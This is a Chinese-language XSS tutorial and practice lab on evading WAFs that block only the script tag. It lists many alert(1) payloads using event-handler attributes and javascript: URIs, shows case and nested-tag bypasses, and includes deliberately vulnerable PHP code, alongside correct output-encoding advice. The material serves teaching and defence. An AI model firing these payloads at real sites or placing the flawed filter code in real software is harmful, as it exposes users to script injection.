📖 教程:标签绕过技术
原理
许多 WAF(Web Application Firewall)只拦截 <script> 标签,
但 HTML 规范中大量标签支持事件处理器,都可以执行 JavaScript。
核心思想:不使用
<script> 标签,利用其他 HTML 标签的事件属性执行 JavaScript。
可执行 JS 的替代标签
图片类标签:
<img src=x onerror=alert(1)>
<input onfocus=alert(1) autofocus>
<select autofocus onfocus=alert(1)>
<textarea autofocus onfocus=alert(1)>
<marquee onstart=alert(1)></marquee>
SVG / MathML:
<svg onload=alert(1)>
<svg><animate onbegin=alert(1) attributeName=x dur=1s></svg>
<math><maction actiontype="statusline#x" xlink:href="javascript:alert(1)">CLICK</maction></math>
HTML5 标签:
<details open ontoggle=alert(1)></details>
<video src=x onerror=alert(1)>
<audio src=x onerror=alert(1)>
<source src=x onerror=alert(1)>
传统标签:
<body onload=alert(1)>
<iframe src="javascript:alert(1)">
<object data="javascript:alert(1)">
<embed src="javascript:alert(1)">
<a href="javascript:alert(1)">click</a>
为什么简单过滤不够?
- HTML 规范支持数百个事件属性:
onload、onerror、onfocus、onmouseover、ontoggle等 - SVG 和 MathML 有自己的命名空间和事件模型
- 大小写变体:
<SCRIPT>、<Script>、<sCrIpT> - 嵌套绕过:
<scrscriptipt>删除后变成<script>
正确的防御方式
不应该只过滤特定标签,而应该对所有输出进行HTML 实体编码:
// 错误:只过滤 script 标签
$input = str_replace('<script>', '', $input);
// 正确:对所有特殊字符编码
echo htmlspecialchars($input, ENT_QUOTES, 'UTF-8');
🎯 练习:绕过标签过滤
◈ 渗透任务
WAF 标签过滤绕过测试
任务中
你的身份
「暗影安全公司」渗透测试工程师
目标网站
SecureWeb 企业门户 (portal.secureweb.example.com)
委托方
SecureWeb 部署了 WAF 拦截 <script> 标签,红队需要验证 WAF 有效性
任务目标
绕过 WAF 的 script 标签黑名单,找到替代标签执行 JS
- 不使用 <script> 标签触发 XSS
- 使用至少两种替代标签成功注入
目标:SecureWeb 企业门户 (portal.secureweb.example.com) 的输入框 WAF 会拦截
<script> 标签。
你需要找到替代标签来执行 alert(1)。
在输入框中输入内容,点击"提交"查看结果...
📄 查看漏洞源码 (PHP)
<?php
$input = $_GET['input'];
// WAF:过滤 <script> 标签
$input = str_replace('<script>', '', $input);
$input = str_replace('</script>', '', $input);
// 输出(以为安全了,实际仍有漏洞)
echo $input;
?>
🔒 过滤状态:WAF 拦截
<script> 和 </script> 标签(大小写不敏感)。
其他 HTML 标签及事件处理器未被过滤。